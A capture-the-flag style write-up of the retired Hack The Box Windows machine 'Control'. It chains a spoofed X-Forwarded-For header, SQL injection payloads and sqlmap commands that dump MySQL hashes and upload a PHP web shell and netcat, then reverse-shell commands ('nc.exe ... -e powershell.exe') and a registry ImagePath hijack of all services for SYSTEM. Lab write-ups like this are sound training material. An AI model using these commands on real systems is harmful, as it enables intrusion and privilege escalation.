Control is a Hard Windows box created by TRX. It was released on November 23rd, 2019 and was retired on April 25th, 2020. The users rated the difficulty 6.4/10 and gave an overall score of 4.5/5 to this box.
TL;DR
The admin portal of a website is not protected and is supposed to be accessed only through a proxy. This is bypassed using the X-Forwarded-For
HTTP header. One of the admin features, the product search, suffers from a SQL injection vulnerability. We use sqlmap
to dump the database and get the users’ hashes. We crack hector
and manager
passwords online. manager
is the database user and he has FILE
permission which allows us to upload Netcat and a PHP web-shell to get a reverse Powershell as iusr
. We pivot to user hector
with a Powershell command equivalent to runas
and by using the password from the database. The user command history shows that one of the last commands was run to check the _ACL_s of HKML:\SYSTEM\CurrentControlSet
. We discover that hector
has full access to the sub-key Services
which allows us to modify the path of any service executable. We find some service that we can start, change the executable path to point to our Netcat and fire it to get a reverse shell as SYSTEM
.
Reconnaissance & Enumeration
Open Ports
An NMAP scan shows the following (partial) output:
$ sudo nmap -sS -sV -p- 10.10.10.167
PORT | STATE | SERVICE | VERSION |
---|---|---|---|
80/tcp | open | http | Microsoft IIS httpd 10.0 |
135/tcp | open | msrpc | Microsoft Windows RPC |
3306/tcp | open | mysql? | |
49666/tcp | open | msrpc | Microsoft Windows RPC |
49667/tcp | open | msrpc | Microsoft Windows RPC |
We discover:
- an IIS 10 web server on the default HTTP port, which could run on Windows Server 2016 or 2019,
- a MySQL server on its default port as well,
- some MSRPC ports.
Web discovery
We access a website that proposes the “Wifi of the Future”:
The source code leaks some information:
— Import Products
— Link to new payment system
— Enable SSL (Certificates location \\192.168.4.28\myfiles)
<!– Header –>
There is as well an admin space /admin.php
that shows the following message:
A file and directory discovery with wfuzz
finds the following information:
images/
uploads/
admin.php
about.php
index.php
database.php
Spidering the website we get the following files as well in assets/js/functions.js
:
We add to this create_product.php
and create_category.php
that we find manually. Of all those pages, only update_product.php
outputs something:
Gaining Access
Initial shell
The first thing we can try is to bypass the HTTP header check to access the admin page. We can try the following headers that are known to bypass proxies or WAFs in case of misconfiguration or a badly implemented check:
X-Forwarded-For
X-Remote-IP
X-Remote-Addr
Forwarded
Trying all of them with the IP 127.0.0.1
shows the same error message. However, if we try with the IP 192.168.4.28
that we found in the source code, we get access with:
To ease the discovery, we configure this header permanently in Burp so it is sent with each request:
Now we can access the admin portal through the proxy:
From there we can search the products database as well as create, delete and update products and categories.
We quickly find out that the search function is vulnerable to SQL injections. Both boolean and union-based. The payload ' or '1'='1
outputs all the products and we can output some database information with ' union select 1, database(), user(),1,1,1-- -
:
As we can see, the database name is warehouse
and the service user manager
.
Let’s dump the whole database with sqlmap
and by using the information we already know to speed up the process:
$ sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:192.168.4.28” --dbms=MySQL -D warehouse --technique=U --dump
Database: warehouse
Table: product_category
[4 entries]
+----+----------+
| id | category |
+----+----------+
| 1 | Default |
| 2 | Adapters |
| 5 | Servers |
| 6 | Monitors |
+----+----------+
Database: warehouse
Table: product
[9 entries]
+----+-----+------------------------+-------+----------+----------+
| id | tax | name | price | category | quantity |
+----+-----+------------------------+-------+----------+----------+
| 26 | 0 | Cloud Server | 20 | 1 | 2 |
| 31 | 0 | TP-LINK TL-WN722N v3 | 60 | 2 | 15 |
| 32 | 0 | D-Link DWA-171 | 29 | 2 | 5 |
| 33 | 0 | TP-LINK Archer T2UH v2 | 111 | 2 | 25 |
| 34 | 0 | Asus USB-AC53 Nano | 11 | 2 | 25 |
| 35 | 0 | TP-LINK TL-WN725N v3 | 19 | 2 | 24 |
| 36 | 0 | StarTech USB867WAC22 | 100 | 2 | 5 |
| 37 | 0 | Asus USB-AC68 | 100 | 2 | 5 |
| 38 | 0 | p | 1 | 1 | 1 |
+----+-----+------------------------+-------+----------+----------+
No useful information here. Let’s retrieve the MySQL users:
$ sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:192.168.4.28” --dbms=MySQL -D mysql -T user --technique=U --dump
// redacted output:
root:0A4A5CAD344718DC418035A1F4D292BA603134D8
hector:0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
manager:CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
Using Crackstation to crack those hashes we get the password of hector
and manager
:
We have no way to log in remotely with those credentials but the user manager
has the FILE
privilege which means that we can try to write files on the system:
$ sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:192.168.4.28” --dbms=MySQL --technique=U --privileges
[…]
[*] ‘manager’@‘localhost’ [1]:
privilege: FILE
[…]
Let’s try with a test file and the default IIS document root folder c:\inetpub\wwwroot
:
$ curl http://10.10.10.167/owned.txt
Owned
Let’s upload a PHP web-shell (p0wny@shell) and Netcat:
$ sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:192.168.4.28” --file-write=./pownyshell.php --file-dest=c:\\inetpub\\wwwroot\\myshell.php
$ sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:192.168.4.28” --file-write=./nc.exe --file-dest=c:\\inetpub\\wwwroot\\nc.exe
Then we can simply spawn a listener and use the web-shell to launch nc.exe
and get a reverse Powershell:
We get a shell as nt authority\iusr
:
User pivoting
Let’s try to pivot to user Hector
, who seems to hold the flag, with the password we got from the database. We first need the hostname:
Fidelity
Then we spawn another listener and run the following commands (equivalent to a runas
) to get a reverse Powershell as Hector
:
PS C:> $pass = convertto-securestring ‘l33th4x0rhector’ -asplaintext -force
PS C:> $cred = new-object system.management.automation.pscredential(“fidelity\hector”, $pass)
PS C:> invoke-command -computer fidelity -scriptblock { c:\\inetpub\\wwwroot\nc.exe 10.10.14.94 1234 -e powershell.exe } -credential $cred
Local Reconnaissance & Enumeration
We start to enumerate the running processes, installed applications, whoami /all
output and privilege escalation paths with PowerUp.ps1
but nothing stands out.
The Get-History
Powershell command only shows the commands executed in the current session. This is lost when the session is ended. As of Powershell 5.0, introduced with Windows 10, a new feature allows persisting the history in a file:
PS C:> (Get-PSReadlineOption).HistorySavePath
C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS C:> Get-Content C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
The user queried the registry. The first command lists the child items of CurrentControlset
and the second one its _ACL_s. The child items are:
get-childitem HKLM:\SYSTEM\CurrentControlset | select -expand name
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Control
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Enum
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Hardware Profiles
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Policies
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Software
When Checking the _ACL_s of CurrentControlset
and its child item, we see that Hector
has full access on Services
:
This is quite dangerous as we can alter the configuration of any service to run a malicious command instead, with the privileges of the service user.
Privilege Escalation
We need to find a service that runs as SYSTEM
and that we can either (re)start or that is started at given intervals through a scheduled task (unlikely). After digging and digging for the answer, I was not able to pinpoint a particular service. In the end, I chose a lame and noisy path: changing the config of all the services to run Netcat and then trying to restart each service one by one:
// get list of services in registry
PS C:> $regs = get-childitem HKLM:\SYSTEM\CurrentControlset\services | select -expand name
// modify ImagePath to point to netcat
PS C:> foreach ($reg in $regs){ $reg = $reg -replace ‘HKEY_LOCAL_MACHINE’,‘HKLM:'; set-itemproperty -path $reg -name ImagePath -value “c:\tmp\nc.exe 10.10.14.94 1234 -e powershell.exe” 2>$null}
// start services
PS C:> foreach ($reg in $regs){ $reg = $reg -replace ‘HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\services\\’,''; $reg; start-service $reg 2>$null}
The first service we can start is ConsentUxUserSvc_4d818e
but it is run as hector
which does not help. We need to remove all services that end with _xxxxxx
(where x
is a hex number) which seem to only spawn reverse shells as hector
. To simplify this, we remove all services that contain an underscore:
And the next candidate is NetSetupSvc
that spawns a reverse Powershell as…SYSTEM
this time. However, it drops after a few seconds.
We get a stable reverse shell by spawning yet another one from the SYSTEM
shell to get the root
flag:
Conclusion
The first part of the box was quite straightforward, however, the privilege escalation part took me some time. First, to find the history file, then with all the trial and error to abuse those weak _ACL_s.
As usual, here are my takeaways:
- never rely on HTTP headers and IP addresses for authentication, they can be spoofed,
- always use prepared statements to execute SQL statements,
- review database user privileges regularly and remove all unnecessary grants (in our case:
FILE
), - don’t mess with registry ACLs…ever!
Resources
[1] Crackstation
https://crackstation.net/
[2] p0wny@shell
https://github.com/flozz/p0wny-shell
[3] Netcat for Windows
https://eternallybored.org/misc/netcat/
[4] Powershell Empire - PowerUp
https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1